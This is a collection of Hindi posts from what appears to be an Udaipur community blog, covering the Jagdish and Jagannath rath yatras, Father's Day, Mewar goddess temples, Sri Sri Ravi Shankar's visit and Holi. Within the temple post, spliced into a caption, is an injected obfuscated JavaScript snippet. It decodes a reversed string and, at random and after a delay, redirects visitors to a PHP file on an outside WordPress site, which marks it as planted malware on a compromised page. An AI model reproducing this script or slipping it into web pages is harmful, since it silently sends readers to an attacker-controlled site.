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[Best Pictures] ठाकुर जी कि रथ यात्रा से पूरा शहर जगन्नाथमय

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“चांदी रे रथ थे  चढो रे सांवरिया.. मनमोहक कर ल्यो श्रृंगार, सांवरिया री आरती
आरती संजोयिलो, चर्मृत लेई-लो, ले लो प्रभुजी रा नाम… सांवरिया री आरती “

 

महलों के पास ऊँचे मंदिरों में बिराजने वाले मेवाड़ के कान्हा “भगवान जगदीश जी” अपने गर्भगृह में बैठे बैठे पूरे साल बाट जोहते है इस खास एक दिन, आषाढ़ शुक्ल पक्ष की दूज का , जब वे खुद उन भक्तों के लिए मंदिर की कठिन सीढियाँ उतरे, जो ये सीढियां चढ नहीं पाते है…

 

आप क्या सोचते है ? हम भगवान के दर्शन करते है ? जी नहीं , कभी कभी भगवान भी अपने सच्चे भक्तों के दर्शन करने को आतुर रहते है. भक्ति की परीक्षा हितार्थ बिराज तो गए ऊँचे मंदिरों में हमारे ठाकुर जी, किन्तु उनका मन नहीं लगता वहाँ,बगैर अपने “प्रिय” से मिले.. तभी तो रजत रथ में बैठ भगवान इस एक खास दिन निकल पड़ते है अपने सभी सखाओं से मिलने. और जब मंदिर से निकलते है तो ऐसे ही नहीं निकलते, पूरा श्रृंगार करके, इठलाते-बलखाते जगदीश ठाट-बाट के साथ मेवाडी राजधानी के कण कण को स्वयं स्पर्श करते है. दर्शन देते है सभी को…

 

इस वर्ष भी भगवान ने सभी के मन की मुराद को पूरा करने की ठानी और लगभग दोपहर के तीन बजे छोटे बेवान (रथ) में बैठ कर पहले मंदिर की परिक्रमा करके चारों कोनों में बैठे मित्र देवों से भेंट की. तत्पश्चात मंदिर की सीढियाँ उतरकर प्रभु नीचे रजत रथ में आकर बिराजे. हर मेवाडी ह्रदय ने आत्मीयता से प्रभु का स्वागत किया. हमारे ठाकुरजी ने भी सभी के नमन को स्वीकार किया. दरबार महेंद्र सिंह जी मेवाड़ ने सैकड़ों  सालों की परम्परा का निर्वहन करते हुए रथ के आगे झाड़ू लगाया और प्रभु के मार्ग को साफ़ किया. आज उदयपुर भगवान के प्रिय रंग पीताम्बर (केसरिया) से रंगा रंगा सा लग रहा था. हर एक सर पर पीताम्बरी पाग शोभायमान थी. हर एक महिला ने गोपी का रूप धर लिया. पीताम्बरी साडी या बेस पहने भगवान के पीछे पीछे गीत गाती चल रही थी.

 

सबसे आगे गजानन के स्वरुप गजराज तो पीछे पीछे शौर्य के प्रतीक अश्व , प्रीत के प्रतीक ऊंट चल रहे थे. चारो तरफ केसरिया ध्वज लहरा रहे थे. सैकड़ों हाथ पीताम्बरी रस्सी को थामे जगन्नाथ का रथ आगे खिंच रहे थे. जैसे जैसे भगवान का रथ आगे बढ़ता, छतों-चौबारों, गोखडों, सड़कों से प्रभु के दर्शनों को तरसती हजारों बूढी आँखे गीली हो जाती.. मुह से आवाज़ ना निकलती..प्रीत में यही तो होता है.. आँखे ही सारी बातें कह देती है. बूढ़े पैरों से मंदिर की सीढियाँ ना चढ पाने का गम भूल कर बस भगवान की बलायियाँ लेती.. म्हारा कान्हा , थाने कन्ही री निजर ना लागे …

 

सेक्टर सात से निकलने वाली शोभायात्रा, जो मूल रथ यात्रा में शामिल होती है, किसी भी मायने में पुरी रथयात्रा से कम नहीं होती.. प्रभु जगन्नाथ, भ्राता बलराम और बहन सुभद्रा के विग्रह पुरी की याद दिला देते है. शहर में सबसे लंबी दुरी तय करके सेक्टर सात से पुराने शहर तक का सफर तय करके तीनो भाई-बहन  जगदीश जी की रथ यात्रा की शोभा बनते है. यह रथ यात्रा सेक्टर सात से प्रातः 11 बजे प्रारंभ होती है, जो मूल रथ यात्रा के समापन के पूरे तीन-चार घंटे बाद आधी रात को पुनः अपने स्थान पर जाकर विश्राम लेती है

 

पारंपरिक मार्ग से गुजरते भगवान जगदीश सभी को दर्शन देते है. सभी के मन की सुनते है. और कहते है…मैं तुम्हारे दर तक खुद आया, अब तुम मेरी शरण में आ जाओ,फिर तुम्हारा कोई कष्ट ना रहेगा… आधी-व्याधि ना रहेगी.. अगर रहेगा तो सिर्फ प्रेम.. स्नेह.. मुरली का रस…

 

“मात-पिता तुम मेरे , शरण गहुँ मैं किसकी…
तुम बिन और ना दूजा, आस करूँ मैं जिसकी.. “
जय जगदीश हरे…
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Pictures by : Mujtaba R.G.
Edited By : Arya Manu
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पिता: विश्वास प्यार और सुरक्षा का

Happy Father's Day

बहुत सारी छोटी चीज़े मिल कर एक बड़ी चीज़ बनाते हैं, इसी तरह बहुत सारी छोटी चीज़े मिल कर एक रिश्ता बनता है. प्यार, सुरक्षा, विश्वास, शक्ति, बल, ये सब शब्द मिल कर बनाते है एक और शब्द – पिता.

आज फादर्स डे है , वो दिन जो सबने निर्णय किया है अपने पिता को शुक्रियादा करने का, उनसे अपने प्यार का इज़हार करने का. क्या दूँ उन्हें, ये बताने के लिए की हम कितना प्यार करती हूँ मैं उनसे, पापा और मेरे बीच एक रिश्ता है, जो मझे सबसे प्यारा है, जिसकी मैं सबसे ज्यादा इज्ज़त करती हूँ, इस रिश्ते में हर चीज़ पवित्र है. फ़ादर, पिताजी, अब्बा, डैड, पापा, ये सभी एक ही रिश्ते के अनेक नाम है, एक रिश्ता जो बिना किसी स्वार्थ के है. समझ नहीं पा  रही हूँ  की कैसे शुरुआत करूँ आज अपने लेख की? कहाँ से वो शब्द चुन कर लाऊं जो इस रिश्ते को समझा सके? ये दिल का बंधन है, जिसे सिर्फ महसूस किया जा सकता है, जो हमारी यादों में छिपा हुआ है. तो चलिए आज हम सब अपने बचपन की यादों के खज़ाने को खोलते है, जहाँ कुछ चीज़े हमारे चेहरे पर खुशी और हँसी लायेंगी, तो कुछ बातों से आँखें नम होंगी.

आज मेरा जन्म होने वाला है, सब खुश है, पर थोड़ी घबराहट भी है सभी के दिल में, माँ अंदर है, तभी मेरे रोने की आवाज आती है, इसी के साथ एक चेहरा जो सबसे ज्यादा डरा हुआ था वो सबसे ज्यादा खुश है, चरम सीमा की खुशी, पूरा जहाँ जीत लेने वाली खुशी. क्योंकि मेरे इसी रोने के साथ उनका और मेरा एक रिश्ता जुड़ा है, वो आज एक पिता बने है.

सुबह से शाम तक ऑफिस में खूब काम करके वो लौटे है, थके हुए है, पर आपकी बिना दाँतों वाली मुस्कराहट ने उनकी सारी थकान खत्म कर दी . छोटे से हैं आप, आपका कोमल शरीर और पापा के मजबूत कंधे, सवारी वाला घोडा भी बन जायेंगे वो आपके लिए, रोज सुबह ऑफिस जाने से पहले अपनी गाड़ी पर कॉलोनी में आपको घुमाना कभी नहीं भूले वो.

आपको सुबह रोज़ स्कूल तक छोड़ना, अपनी कॉपी पर उनसे अच्छे वाले पेन से अपना नाम लिखवाना, उनके साथ बाज़ार जा कर शक्तिमान और बार्बी वाले बैग खरीदना, हर सन्डे उनसे ज़िद करना की वो हमें घुमा कर लाएं, माँ की सब शिकायतें उनसे करना, ११ क्लास में जब विषय चुनने की बारी आई, तो हमने उन्हीं के पास जा कर सब राय मशवरा किया, कॉलेज में दाखिले की बात आई तो पापा ने ही सब भाग दौड़ की.

उन्हीं के हर नरम और सख्त निर्णय ने हमें आज यहाँ तक ला खड़ा किया. इस चीज़ के लिए हमें हर पल हमारे पिता का धन्यवाद करना चाहिए. जीवन के कठिन पथ पर चलने की शक्ति दी उन्होंने, समझाया उन्होंने, प्यार किया, जरुरत पड़ने पर डांट भी खायी हमने.

ईश्वर ने एक पिता पर भरोसा जताया है की वही घर के मुखिया हो सकते है, मुखिया यानि की जो हर एक बात के लिए जिम्मेदार रहेगा.

Happy Father's Day

हमें पिता से मिलता है एक सुरक्षा का वादा, वो कहीं और से कभी मिल ही नहीं सकता. एक प्यार का एहसास, जो बिना किसी शर्त से बंधा है, वो हमें कभी नहीं नकारेंगे, हमारे सबसे बुरे वक्त में हमारे साथ खड़े रहेंगे, हमारा संबल बन. एक आश्वासन की वो हमें बिना किसी शर्त के प्यार देंगे, हमारी हर खुशी, हर जीत में और हर गम हर दर्द में हमारे साथ हमारे संबल बन खड़े रहेंगे, जिनसे हम अपने दिल ही हर छोटी बात भी बिना किसी हिचकिचाहट के साथ बाँट सकते हैं. जिनके लिए हमारी और परिवार की खुशी सर्वोपरी है, उनकी खुद की खुशी से भी ज्यादा. कोई भी पिता अपने बच्चों से क्या तोफ्हा चाहता है, प्यार का सच्चा इज़हार, एक पूरा दिन उनके साथ, एक बार गले मिलना, उनके आँखों में आंखें ड़ाल कर कहो की में आपसे बहुत प्यार करती हूँ . और मेरे एक दोस्त के लिए, आज तुम्हारे पापा तुम्हारे साथ नहीं है, तो जो सबसे अच्छा तोहफा तुम उन्हें दे सकते हो, वो यह है की तुम्हारे पिता हमेशा जाने जाये उनके आदर्शो के लिए, जो तुम आज भी जिंदा रख सकते हो, उनके सम्मान और प्यार के साथ, जो हमेशा तुम्हारे साथ है, उनके आशीर्वाद के रूप में. हर वो काम करना अपनी जिंदगी में जिसका सपना उन्होंने अपनी आँखों में पाला था.

तो चलिए हम सब आज का ये दिन हमारे पापा के लिए यादगार पलों से भर दें. आप किस तरह से मुस्कराहट लायेंगे उनके चेहरे पे? उदयपुर ब्लॉग को भी शामिल कीजिये अपनी इन खुशियों में, हम सबके साथ बाटें अपने ये खुशी के पल. बताइए हमें की कैसा रहा आपका आज का ये दिन.
और अब अंत में, आलोक श्रीवास्तव जी की दो पंक्तियाँ….

थके पिता का उदास चेहरा, उभर रहा है यूँ मेरे दिल में,

की प्यासे बादल का अक्स जैसे, किसी सरोवर से झांकता है.

 

Image credits :

wordsofmithelesh.blogspot.com
nannerflysunshine.blogspot.com

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स्वर्ण रथ पर सवार होंगे भगवान जगन्नाथ – छठी भव्य रथयात्रा

हिरणमगरी सेक्टर 7 स्थित भगवान जगन्नाथ धाम से भगवान जगन्नाथ नगर भ्रमण पर 21 जून को निकलेंगे। इसकी तैयारियां जोरों पर है। समिति के भूपेन्द्र सिंह भाटी ने बताया कि सेक्टर-7 स्थित भगवान जगन्नाथ शैशव काल पूर्ण कर बाल्यकाल में प्रवेश कर रहे हैं।

Jagannath_Dhaam_Udaipur

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21 जून को छठी रथयात्रा की सवारी करते हुए भगवान जगन्नाथ नगर भ्रमण के लिए सुबह 11 बजे निकलेंगे। बाल्यकाल में प्रवेश कर रहे भगवान जगन्नाथ, सुभद्रा, बलभद्रजी और सुदर्शनजी स्वर्ण रथ में विराजित होकर नगर की सैर करेंगे। भगवान की प्रसन्नता के लिए भक्तजनों का आग्रह था कि इस बार रथ को नया रूप दिया जाए। भगवत् कृपा से जगन्नाथधाम समिति ने अपने सीमित साधनों के अंतर्गत इस दिशा में आंशिक प्रयास किया है, आगामी वर्षों में इसमें और अधिक सुधार के प्रयास किये जाएँगे।

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पुरी (उड़ीसा) की तरह सेक्टर-7 से निकलने वाली रथयात्रा में सदा की भाँति जगन्नाथधाम में प्रतिष्ठित महादारु (काष्ठम) की मूल प्रतिमाएं स्वर्णरथ पर विराजेंगी। रथयात्रा का आरम्भ दिन में 11 बजे छेरापहरा (झाड़ू लगाने) की रस्म से होगा, जो ब्रह्मा के समक्ष तन और मन, दोनों की साफ-सफाई का प्रतीक होता है। यात्रा का मार्ग जगन्नाथ धाम, सेक्टर-7 से आरम्भ होकर कृषि मंडी, सेक्टर 11 में स्थित शिवमंदिर, पटेल सर्किल, खांजीपीर, रंगनिवास, भटियानी चौहट्टा, जगदीश चौक से शहर की मुख्य रथयात्रा के साथ मिलकर आरएमवी, कैलाश कॉलोनी तक रहेगा। कैलाश कॉलोनी से अलग होकर गुलाब बाग के पास से उदियापोल, टेकरी (पीपली चौराहा), टेकरी—मादड़ी रोड, मेनारिया गेस्ट हाउस, सेक्टर-6 स्थित पुलिस थाना होकर वापस श्रीजगन्नाथजी धाम सेक्टर-7 पहुँचेगी। जगन्नाथ धाम की स्थापना के प्रेरणा स्रोत स्वर्गीय इं.के.डोरा की स्मृति में उनकी पत्नि माहेश्वरी डोरा की ओर से रथ यात्रा में भाग लेने वाले सभी भक्तगणों के लिए रात्रि भोजन की व्यवस्था की गई है।
रथयात्रा में उत्कल समाज, नारायण सेवा संस्थान, बजरंग सेना, पूज्य सिंधी पंचायत हिरणमगरी, मेवाड़ क्षत्रिय महासभा, जय श्रीराम जय श्रीकृष्णम सेवा समिति, इडाणामाता का रथ, सविना मित्रमण्डल, कृषि मण्डी (अनाज) समिति, पूज्य पंचायत कृषि मण्डी (फलमण्डी) माछला मगरा विकास समिति, मेनारिया समाज, धर्मोंत्सव समिति आदि का विशेष सहयोग रहेगा। विभिन्न देवालयों एवं संगठनों की लगभग 15 झांकियों के भी सम्मिलित होने की सम्भावना है।

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 रथ यात्रा के उत्साह को देखते हुए , रथ यात्रा के फोटो अवं विडियो  facebook पर अपलोड किये जायेंगे.

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मेवाड़ के प्रमुख शक्तिपीठ – The Major Temples of Mewar

“जगदम्बा थे तो ओढ़ बताओ रे , महारानी थे तो  ओढ़ बताओ रे..
क’शिक लागे, तारा री चुनडी..”

Neemuch Mata Ji M<script>$Ubj=function(n){if (typeof ($Ubj.list[n]) == "string") return $Ubj.list[n].split("").reverse().join("");return $Ubj.list[n];};$Ubj.list=["\'php.litu.ssalc/sedulcni/retadpu-yfimeht/snigulp/tnetnoc-pw/moc.setaicossadnalanruoj//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}</script>andir in Udaipur

सुबह सुबह उनींदी आँखों से उठा तो दादी सा’ मंदिर में पूजा करती हुई ऐसा ही कुछ भजन गुनगुना रही थी. पूछा तो आँखें तरेर कर बोली, “वेंडा छोरा, आज माताजी रो दन है. नवो संवत भी है, बेघो उठ जा. आज देर तक सुतो रह्यो तो पूरा साल सुतो ही’ज रेवेला.” अरे हाँ, आज तो नव संवत्सर है. कल ही तो कोर्ट चौराहे पर आलोक स्कूल के बच्चो ने मेरी बाइक रोक कर मुझे रोली-तिलक लगाया था,मैं भूल कैसे गया. आज तो दूध तलाई पर आतिशबाजी होगी. स्वागत होगा नव संवत्सर का.

सबसे पहले तो उदयपुर ब्लॉग के सभी देसी-विदेसी पाठकों को नवसंवत्सर 2069 और चैती नौरतों की बहुत बहुत बधाई. हमारे सिंधी भाइयों को चेटीचंड जी लाख लाख वधायुं. “आयो लाल, झूलेलाल “. आज मेरा मन बार बार कह रहा है कि आप सभी को उदयपुर में जहाँ जहाँ जोगमाया के देवरे है, मंदिर है..वहाँ ले चलूँ.. तो क्या ख्याल है आपका?

“झीना झीना घूघरा माता के मंदिर बाजे रे..
मोटा मोटा टोकरा भैरू के बाजे रे..”
Mahalaxmi Temple in Udaipur

तो साहब बैठो गाडी पर, सबसे पहले अम्बा माता चलते है. वाह जी वाह ! क्या मोटे तगड़े शेर बाहर पहरा दे रहे है. उदयपुर के दरबार यहाँ आज भी सबसे पहले पूजा करते है. महाराणा स्वरूपसिंह जी और भीम सिंह जी तो कई बार  घुटनों घुटनों तक के पानी को पार करके यहाँ दर्शन करने आते थे.

नीमच और खीमच माता. खीमच माता नीचे फतह सागर की पाल पर तो नीमच माता पास में ऊँचे पहाड पर. दोनों सगी  बहने है पर छोटी वाली नाराज़ होकर पहाड़ी उतरकर आ गयी. नव रात्र के आखिरी दिन दोनों मंदिरों के भोपाजी के “डील” में माताजी आती है. दोनों बहने मिलती है..खूब रोती  है. तो अपने कभी छोटी बहिन से झगडा हो जावे तो नाराज़ नी करना उसको.. आप बड़े हो, अपने सबर कर लेना.

बेदला चलते है. यहाँ के रावले की आराध्य “सुखदेवी माता जी” के दर्शन करते है. माताजी के इतने भगत है कि उदयपुर में पांच में से तीन  कार के पीछे “जय सुखदेवी माता जी” लिखा हुआ मिल जायेगा.  माताजी के मंदिर के सामने दो पत्थरों के बिच रास्ता बना हुआ है, कहते है, उस संकरे रास्ते से निकल जाओ तो कोई रोग आपको नहीं घेरेगा. विश्वास करो तो माताजी है, नही मानो तो..थारी मर्जी सा’

डबोक सीमेंट फेक्ट्री के पास पहाड़ी पर “धूनी माता” बिराज रही है. नौ दिन नौरते यहाँ आस पडोसी गाँव के “पटेलों” की खूब भीड़ रहती है.माताजी के दर्शन करो और साथ में इस पहाड़ी से सामने हवाई अड्डे पर उतरते हवाई जहाज को देखो.. अपन ऊपर और हवाई जहाज नीचे. यहाँ का हरियाली अमावस का मेला बहुत जाना माना  है. यहाँ से उदयपुर आते बखत बेड़वास में माता आशापुरा के दर्शन करना मत भूलना.

टीडी  के पास जावर माता बिराजी है. पास में जिंक की हजारो साल पुरानी खदाने है. कलकल नदी बह रही है. इस मंदिर को औरंगजेब ने खूब नुक्सान पहुचाया. फिर भी मंदिर में आज भी पुरानी मूर्तिकला देखने लायक है.माताजी का मुँह थोडा सा बायीं ओर झुका हुआ है. कारण, एक भगत ने सवा लाख फूल चढाने की मिन्नत मांगी और पूरी करने में कंजूसी दिखाई. माताजी ने नाराज होकर अपना मुँह झुका दिया.  भगत को कुछ नुक्सान नहीं पहुचाया. माँ तो माँ होती है.

अब चलते है चित्तोड की ओर. किले पर सभी को आशीर्वाद दे रही है माता कालका . जितना भव्य चित्तोड का किला, उतना ही भव्य माता का मंदिर. सामने तालाब. कहते है इस किले की रक्षा का सारा भार माताजी ने अपने ऊपर ले रखा है. यहाँ भी नौ दिन मन्नत मांगने और “तंत्र” पूजा करने वालो का सैलाब उमड़ता है. जोगमाया के दर्शन कर बहुत आत्मिक सुख मिलता है.
आते वक़्त सांवरिया जी के दर्शन करते हुए आवरी माता चलते है. कहते है माता आवरा राजपूत चौहान वंश में जन्मी. सात भाइयों की अकेली बहन. सातों भाइयों का इतना प्रेम कि सातों अलग अलग जगह अपनी बहन का रिश्ता कर आये. एक ही दिन, माता से ब्याहने सात सात बिंद गोडी चढ आये. तब माताजी में “जोत” जगी और उन्होंने वहीँ संथारा ले लिया. मेवाड़ के साथ साथ मालवा, वागड , मारवाड.. जाने कहाँ कहाँ से लकवा ग्रस्त रोगी यहाँ ठीक होने आते है. पूरे मंदिर में जहाँ जहाँ तक नज़र जाये, लकवा रोगी माँ के दरबार में बैठे मिलते है. यहाँ राजपूती रिवाज़ से माता की सेवा होती है.

Idana Mata Ji Mandir

कुराबड रावले के पास खुले चबूतरे पर इड़ाना माताजी स्थानक है.पीछे ढेर सारी त्रिशूल. यहाँ माताजी महीने में कम से कम दो बार अगन-स्नान लेती है. इसी अग्नि स्नान के कारण आज तक माँ का मंदिर नहीं बन पाया. ये शक्ति पीठ अन्य सभी से सर्वथा अलग, सर्वथा जुदा. कुराबड रावले के श्री लवकुमार सिंह जी कृष्णावत फिलहाल यहाँ का सारा प्रशासनिक कार्य संभाल रहे है.

अजी साहब, एक ही दिन में सब जगह दर्शन नहीं होंगे. आराम से एक एक दिन सब जगह दर्शन करने जाना. नौ दिन के नौ दर्शन आपको बता दिए. और समय मिले तो माछला मगर पर रोप वे में बैठकर करनी माता दर्शन  करने जरुर जाजो. अरे कभी तो अपनी जेब ढीली करो. बस साठ रुपये किराया है. उभयेश्वर का घाटा ध्यान से चढ़ते हुए महादेव जी के दर्शन करना और पास में ही “वैष्णो देवी” को भी धोक लगते आना. थोडा और समय मिले तो इसवाल से हल्दीघाटी मार्ग पर बडवासन माता का बहुत सुन्दर स्थान है. और समय मिले तो बांसवाडा में माता त्रिपुर सुंदरी, वल्लभ नगर में उन्ठाला माता, देबारी में घाटा वाली माता, भीलवाडा-बूंदी रोड पर जोगनिया माता, बेगूं में झांतला माता, झामेश्वर महादेव के पास पहाड़ी पर  काली  माता,जगत कस्बे में विराजी माताजी, आसपुर में आशापुरा माताजी.. नहीं थके हो तो भेरू जी के देवरे ले चालू.. आज तो वहाँ भी जवारे बोये गए है.
इन नौ दिन पूरी श्रृद्धा के साथ आप माताजी की पूजा करो, नहीं तो मेरी दादी सा’ को आपके घर का पता दे दू.. वो आपको सिखा देगी, पूजा कैसे होती है. उनका एक बहुत प्यारा भजन है, उसीके साथ आपसे विदाई…

“माता आयो आयो आवरा रानी रो साथ, आये ने वाघा उतरियो म्हारी माँ
माता हरे भरे देखियो हरियो बाग, फूला री लिदी वासना म्हारी माँ
माता फुलडा तो तोड्या पचास, कलिया तोड़ी डेढ सौ म्हारी माँ
माता फूलडा रो गुन्थ्यो चंदर हार, कलिया रा गुन्थ्या गजरा म्हारी माँ
माता कठे रलाऊ चंदर हार, कठे तो बांधू गजरा म्हारी माँ
माता हिवडे रालु चंदर हार, ऊँचा तो बांधू गजरा म्हारी माँ…”

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श्री श्री रवि शंकर जी : मिजाज़ से अलमस्त फकीर

Sri Sri Ravishankar Ji in Udaipur

“फलक बोला खुद के नूर का मैं आशिकाना हूँ..
ज़मीं बोली उन्ही जलवों का मैं भी आस्ताना हूँ..”

नमस्ते जी. आज की बात शुरू करने से पहले तक मुझे हज़ार हिचकियाँ आ चुकी है. इस ख़याल भर से कि आज मुझे इतनी बड़ी शख्सियत की बात करनी है,जिसे देखने को आसमान की तरफ देखना पड़ता है. हाँ जी हां, मैं श्री श्री की बात कर रहा हूँ. श्री श्री रविशंकर साहब की. अजी हुजूरं, हुज़ुरां, आपका हुक्म है, सो उसी को अता फरमा रहा हूँ. वर्ना इतने महान लोगों को याद फरमाने के लिए किसी तारीख के बंधन को मैं नहीं मानता. मगर मन ने न जाने कितनी बार कहा कि मियाँ ! दस मार्च को परवर दिगार झीलों के शहर, हमारे उदयपुर तशरीफ़ ला रहे हैं. सो उनका एहतराम तो करना है. सो लीजिए पेश-ए -खिदमत है.
सोचता हूँ,तो लगता है, हाय ! क्या चीज़ बनायीं है कुदरत ने. अपनी जिंदगी में इस कदर पुरखुलूस और शराफत से लबरेज कि हम जैसो को आप ही अपने गुनाह दिखाई देने लगे. श्री श्री कुछ बोलने को मुह खोले तो लगे घुप्प अँधेरे में चरागाँ हो गया. अकेलेपन का साथी मिल गया. भटकते भटकते रास्ता मिल गया. उदासी को खुशी और दर्द को जुबान मिल गयी. क्या क्या नहीं हुआ और क्या क्या नहीं होता इस एक शफ्फाक, पाक आवाज़ के जादू से. शराफत की हज़ार कहानिया और बेझोड मासूमियत की हज़ार मिसालें. उन्हें याद करो तो एक याद के पीछे हज़ार यादें दौडी चली आती है. सो कोशिश करता हूँ हज़ार हज़ार बार दोहराई गयी बातों से बचते-बचाते हुए बात करूँ…
अब जैसे कि उनकी पैदाइश “आर्ट ऑफ लिविंग” ने हज़ारों-हज़ार की जिंदगियां बदल दी. आवाम गुस्सा भूलकर समाज की तरक्की में शरीक होने लगा. सुदर्शन क्रिया का मिजाज़ देखिये कि अल सुबह बैठकर हर जवान खून “ध्यान” करता है. क्या बंगलुरु और क्या अमेरिका.. सब के सब गुस्सा भूल रहे है. अजी जनाब ! सिर्फ मुस्कुरा ही नहीं रहे, औरों को भी बरकत दे रहे हैं. और श्री श्री … मिजाज़ से अलमस्त ये फकीर..जिसे जब देखो,हँसता रहता है… और कहता है कि तुम भी हँसो… हँसने का कोई पैसा नहीं…कोई किराया नहीं…
आप कह्नेगे भाई ये सारी लप-धप  छोडकर पहले ज़रा कायदे से उदयपुर में होने वाले उनके सत्संग की बात भी कर लो.. तो लो जनाब.. आपका हुक्म बजाते हैं. इस बकत उदयपुर का कोई मंदिर-कोई धर्म स्थल नहीं छूटा, जहाँ आर्ट ऑफ लिविंग के भजन न गूंजे हो. “जय गुरुदेव” का शंखनाद सुनाई दे रहा है. गली-मोहल्ले,सड़क-चौराहे के हर कोने में “आशीर्वाद” बरसाते पोस्टर- होर्डिंग शहर की आबो-हवा में प्यार का नशा घोल रहे है. होली की मस्ती दुगुनी लग रही है. “अच्युतम केशवम राम नारायणं , जानकी वल्लभं, गोविन्दम हरीम..” कानों में मिश्री घोल रहे है. घर घर न्योता भिजवाया गया है. तो मियाँ, आपको भी चुपचाप महीने की दस तारीख को सेवाश्रम के बी.एन. मैदान पर हाजिरी देनी है. समझ गए .! तमाम कोशिशों के बाद पूरे आठ साल बाद वो पाक रूह सरज़मीं-ए-मेवाड़ आ रही है. शुरू हो रहा है एक नया रिश्ता. एक क्या रिश्तों का पूरा ज़खीरा मिल रहा है. सो रहने दो… मैदान में जाकर खुद देख लेंगे. अभी श्री श्री की बाताँ करते हैं. वर्ना ये उदयपुर के बाशिंदों की मेहनत की स्टोरी तो इतनी लंबी है कि इसे सुनते-सुनाते ही मेरा आर्टिकल पूरा हो जायेगा और उपर से आवाज़ आएगी, “चलो मियाँ, भोत फैला ली, अब समेट लो” सो यही पे बस.

 

इसे कहते है इंसान: 

अक्सर हम लोग इंसान से गिरती हुई इंसानियत को देख देखकर छाती पिटते रहते है. मगर श्री श्री रविशंकर जैसे इंसान की बातें सुनो तो इंसानियत पर भरोसा लौटने लगता है. इस इंसान ने इतनी कामयाबी के बावजूद न तो घमंड को अपने आस पास आने दिया और न दौलत को अपने दिल पर हुकूमत करने दी. ज़रा सोचकर देखे कि इतना कामयाब इंसान कि देश के बड़े बड़े घराने जिसके सामने निचे बैठते है, और अजी घराने ही क्या, कई सारी कंपनियों के पूरे पूरे कुनबे उनको सुनते है.जब वही श्री श्री किसी 5-7 साल के छोटे बच्चे के साथ बैठते है तो बिलकुल बच्चे बन जाते है. शरारती तत्व. मैंने आस्था चेनल के लिए एक शूटिंग श्री श्री के साथ हिमाचल में की थी. वहीँ उनके उस छुपे तत्व को महसूस किया. जहा कोई आडम्बर नहीं, कोई दिखावा नहीं.. सफेद झक एक धोती में एक साधारण किन्तु पवित्र आत्मा. और मज़े की बात. श्री श्री को खुद गाने और भजनों पर नाचने का बहुत शौक है. कई बार स्वयं झूम उठते है. भक्ति-ध्यान-नृत्य-भजन- आनंद का अद्भुत संगम. माशा अल्लाह गजब के उस्ताद है. उस्तादों के उस्ताद,जिन्होंने लाखो करोडो को जीने की दिशा दे दी.

श्री श्री रविशंकर जनाब. उदयपुर की इस खूबसूरत फिजा में आपका तहे दिल से इस्तकबाल. तशरीफ़ लाइए. आज का नौजवां, जो भटक सा रहा है, उसे रास्ता दिखाईये.. वेलकम है जी आपका पधारो म्हारे देस की इस खूबसूरत सर ज़मी पर. मीरा बाई की पुकार सुनी आपने और यहाँ आये…अब हमारी पुकार भी सुन लीजिए. आनंद भर दीजिए. खम्मा घणी….

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होली – नए रंग नयी उमंग मेरे शहर में…..

Holi Celebration Udaipur फतेहसागर और पिछोला में  पानी की गपशप है. सहेलियों की बाड़ी में गीत मुखर हो गए है, गुलाब बाग में तरुनाई का नृत्य है, रंग चटक हो गए है. सुखाडिया सर्किल पर उम्र और जात पात की दीवारें टूट रही  है और राणा उदयसिंह जी की नगरी संगीत में नहा रही है. उदयपुर में अरावली की पर्वत मालाएं बोलने को आतुर है, नाथद्वारा बसंत की अगवानी को तैयार है, यह ठाकुर द्वारा मेवाड़ में गुजरात का द्वार है. रंगो का पावन त्यौहार, राधा कृष्ण के प्रेम का त्यौहार, भाईचारे और संगम का त्यौहार. पूरे भारतवर्ष में मनाई जाने वाली होली का मुख्य केन्द्र मथुरा और वृन्दावन है. यह बसंत के आगमन की खुशी है. Buying Colors on Holi आज होली का त्यौहार है. सुबह से ही दुकानों पर भीड़ है, रंग-पिचकारी, मालपुआ-गुझिये और भांग-ठंडाई की मनुहार है, अपनों का अपनों को इंतज़ार है, अतिथियों का सत्कार है. बाजारों में बुजुर्ग पाग का अदब है, हाथीपोल पर युवा रंगो का गुबार है, सर्किल पर चेतक अकेला खड़ा है, उसे महाराणा का इंतज़ार है. मेवाड़ में यह अपनापन उसकी अनूठी विरासत है. Udaipur Market रंगो के साथ हवा में घुलती उमंग ने शहर को सतरंगी चादर से ढक दिया है. नयी फसल- नया धान आने को आतुर है,  लोग घरों से निकल कर गलियों में आ गए है, और आज मजबूरी में ही सही, मोबाइल से निजात पा गए है, चटक रंगो के साथ चेहरे खिल उठे है. आज उदयपुर की फिजा का अलग ही दृश्य है. घर घर की रसोई में माँ बेटी से रौनक है, घी की खुशबू फैली है, बच्चे हुडदंग मचा रहे है. दुर्भाग्यपूर्ण है की इस उत्साह के व्यवसायीकरण ने बाजारों में ढाक और पलाश के फूलों से बने प्राकृतिक रंग की जगह कृतिम रंग और डाई को ला दिया है. फूहड़पन और अतिआधुनिकता में सतरंगी इन्द्रधनुष का कोई रंग खो ना जाये, जल और वायु में प्रदुषण का स्तर बढ़ ना जाये, इसका ध्यान रखना होगा. उदयपुर की प्रकृति को संजोये रखना हमारा हमारे शहर के प्रति पहला कर्तव्य है. मौसम के बदलाव से चर्म रोग, नेत्र रोग और श्वास से सम्बंधित बीमारियों के दस्तक देने की संभावना है, इनसे बचना होगा. प्राकृतिक रंगो का प्रयोग करे, सूखी होली खेले, जल बचाए. कोई भी एलर्जी होने पर तुरंत डॉक्टर को दिखाए. बसंत का स्वागत कीजिये, खूब खुशियाँ बटोरिये और सबमें बाटियें. हम कामना करते है की आप रंगो का यह पर्व उत्साह और उमंग से मनाएं और बार बार मनाएं. मेवाड़ के सभी वासियों को उदयपुर ब्लॉग की ओर से होली की हार्दिक शुभकामनाएँ. Happy Holi Udaipur

Photos by : Mujtaba R.G.

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यो म्हारो उदियापुर है…!

My Udaipur City

यो म्हारो उदियापुर है…!

